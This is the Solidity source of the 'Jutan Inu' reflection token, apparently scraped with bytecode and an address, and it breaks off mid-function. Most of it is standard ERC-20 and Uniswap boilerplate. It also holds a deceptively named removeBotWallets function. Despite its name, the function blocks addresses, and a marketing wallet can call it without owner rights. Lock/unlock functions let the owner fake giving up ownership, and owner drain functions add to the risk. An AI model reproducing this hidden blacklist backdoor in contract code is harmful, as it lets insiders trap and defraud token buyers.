050565b8115611d31575060015b919050565b600054611d439082611e95565b60009081556001600160a01b038316815260016020526040902054611d689082611e95565b6001600160a01b0383166000818152600160205260408082209390935591519091907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611db99085815260200190565b60405180910390a35050565b6000818310611dd45781611dd6565b825b9392505050565b6001600160a01b038216600090815260016020526040902054611e009082611787565b6001600160a01b03831660009081526001602052604081209190915554611e279082611787565b60009081556040518281526001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001611db9565b60006109b5600160701b6001600160701b038416612301565b6000611dd66001600160701b03831684612330565b600082611ea283826122cc565b91508110156109b55760405162461bcd60e51b815260206004820152601460248201527364732d6d6174682d6164642d6f766572666c6f7760601b6044820152606401610486565b6001600160a01b0381168114611eff57600080fd5b50565b600080600080600060808688031215611f1a57600080fd5b85359450602086013593506040860135611f3381611eea565b9250606086013567ffffffffffffffff80821115611f5057600080fd5b818801915088601f830112611f6457600080fd5b813581811115611f7357600080fd5b896020828501011115611f8557600080fd5b9699959850939650602001949392505050565b60005b83811015611fb3578181015183820152602001611f9b565b83811115611fc2576000848401525b50505050565b6020815260008251806020840152611fe7816040850160208701611f98565b601f01601f19169190910160400192915050565b6000806040838503121561200e57600080fd5b823561201981611eea565b946020939093013593505050565b60008060006060848603121561203c57600080fd5b833561204781611eea565b9250602084013561205781611eea565b929592945050506040919091013590565b6000806040838503121561207b57600080fd5b823561208681611eea565b9150602083013561209681611eea565b809150509250929050565b6000602082840312156120b357600080fd5b8135611dd681611eea565b600080600080600080600060e0888a0312156120d957600080fd5b87356120e481611eea565b965060208801356120f481611eea565b95506040880135945060608801359350608088013560ff8116811461211857600080fd5b9699959850939692959460a0840135945060c09093013592915050565b60208082526010908201526f109d5b1b1cddd85c0e881313d0d2d15160821b604082015260600190565b60018060a01b038616815284602082015283604082015260806060820152816080820152818360a0830137600081830160a090810191909152601f909201601f19160101949350505050565b6000602082840312156121bd57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b6000828210156121ec576121ec6121c4565b500390565b634e487b7160e01b600052601260045260246000fd5b600082612216576122166121f1565b500490565b600060001982141561222f5761222f6121c4565b5060010190565b60008251612248818460208701611f98565b9190910192915050565b60006020828403121561226457600080fd5b81518015158114611dd657600080fd5b600081600019048311821515161561228e5761228e6121c4565b500290565b6000826122a2576122a26121f1565b500690565b600063ffffffff838116908316818110156122c4576122c46121c4565b039392505050565b600082198211156122df576122df6121c4565b500190565b6000602082840312156122f657600080fd5b8151611dd681611eea565b60006001600160e01b0382811684821681151582840482111615612327576123276121c4565b02949350505050565b60006001600160e01b038381168061234a5761234a6121f1565b9216919091049291505056fea2646970667358221220875e16d11611e110c242b71de2b46efea5eb04bf25bac330e191047f3c0cd49064736f6c63430008090033a264697066735822122032be5fa918bf96c503b9336eff93f46fbcdce0158b34bffa9272cd98df73a97364736f6c63430008090033
[ 6, 10, 7, 9 ]
0xf31a6343073001ab7af0d7de8301cd43670c5bb0
/* JJJJJJJJJJJ tttt J:::::::::J ttt:::t J:::::::::J t:::::t JJ:::::::JJ t:::::t J:::::J uuuuuu uuuuuu ttttttt:::::ttttttt aaaaaaaaaaaaa nnnn nnnnnnnn J:::::J u::::u u::::u t:::::::::::::::::t a::::::::::::a n:::nn::::::::nn J:::::J u::::u u::::u t:::::::::::::::::t aaaaaaaaa:::::a n::::::::::::::nn J:::::j u::::u u::::u tttttt:::::::tttttt a::::a nn:::::::::::::::n J:::::J u::::u u::::u t:::::t aaaaaaa:::::a n:::::nnnn:::::n JJJJJJJ J:::::J u::::u u::::u t:::::t aa::::::::::::a n::::n n::::n J:::::J J:::::J u::::u u::::u t:::::t a::::aaaa::::::a n::::n n::::n J::::::J J::::::J u:::::uuuu:::::u t:::::t tttttta::::a a:::::a n::::n n::::n J:::::::JJJ:::::::J u:::::::::::::::uu t::::::tttt:::::ta::::a a:::::a n::::n n::::n JJ:::::::::::::JJ u:::::::::::::::u tt::::::::::::::ta:::::aaaa::::::a n::::n n::::n JJ:::::::::JJ uu::::::::uu:::u tt:::::::::::tt a::::::::::aa:::a n::::n n::::n JJJJJJJJJ uuuuuuuu uuuu ttttttttttt aaaaaaaaaa aaaa nnnnnn nnnnnn https://t.me/JutanInu https://JutanInu.com */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; interface IERC20 { function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { //function _msgSender() internal view virtual returns (address payable) { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IAirdrop { function airdrop(address recipient, uint256 amount) external; } contract JutanInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; mapping (address => bool) private botWallets; bool botscantrade = false; bool public canTrade = false; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; address public marketingWallet; string private _name = "Jutan Inu"; string private _symbol = "JUTAN"; uint8 private _decimals = 9; uint256 public _taxFee = 2; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 10; uint256 private _previousLiquidityFee = _liquidityFee; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; uint256 public numTokensSellToAddToLiquidity = 10000000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //Mainnet & Testnet ETH // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; //exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcludedFromReward(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function airdrop(address recipient, uint256 amount) external onlyOwner() { removeAllFee(); _transfer(_msgSender(), recipient, amount * 10**9); restoreAllFee(); } function airdropInternal(address recipient, uint256 amount) internal { removeAllFee(); _transfer(_msgSender(), recipient, amount); restoreAllFee(); } function airdropArray(address[] calldata newholders, uint256[] calldata amounts) external onlyOwner(){ uint256 iterator = 0; require(newholders.length == amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function upliftTxAmount() external onlyOwner() { _maxTxAmount = 1000000000000 * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 1000000, "Swap Threshold Amount cannot be less than 1000000"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function setBotWallets(address[] calldata botwallet) external onlyOwner() { for (uint256 i; i < botwallet.length; ++i) { botWallets[botwallet[i]] = true; } } function removeBotWallets(address[] calldata botwallet) external { require( msg.sender == marketingWallet ); for (uint256 i; i < botwallet.length; ++i) { botWallets[botwallet[i]] = true; } } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function setFeeToZero() external onlyOwner() { _taxFee = 0; _liquidityFee = 0; } function reduceFeeToHalf() external onlyOwner() { _taxFee = 2; _liquidityFee = 5; } function setOriginalFee() external onlyOwner() { _taxFee = 2; _liquidityFee = 10; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = 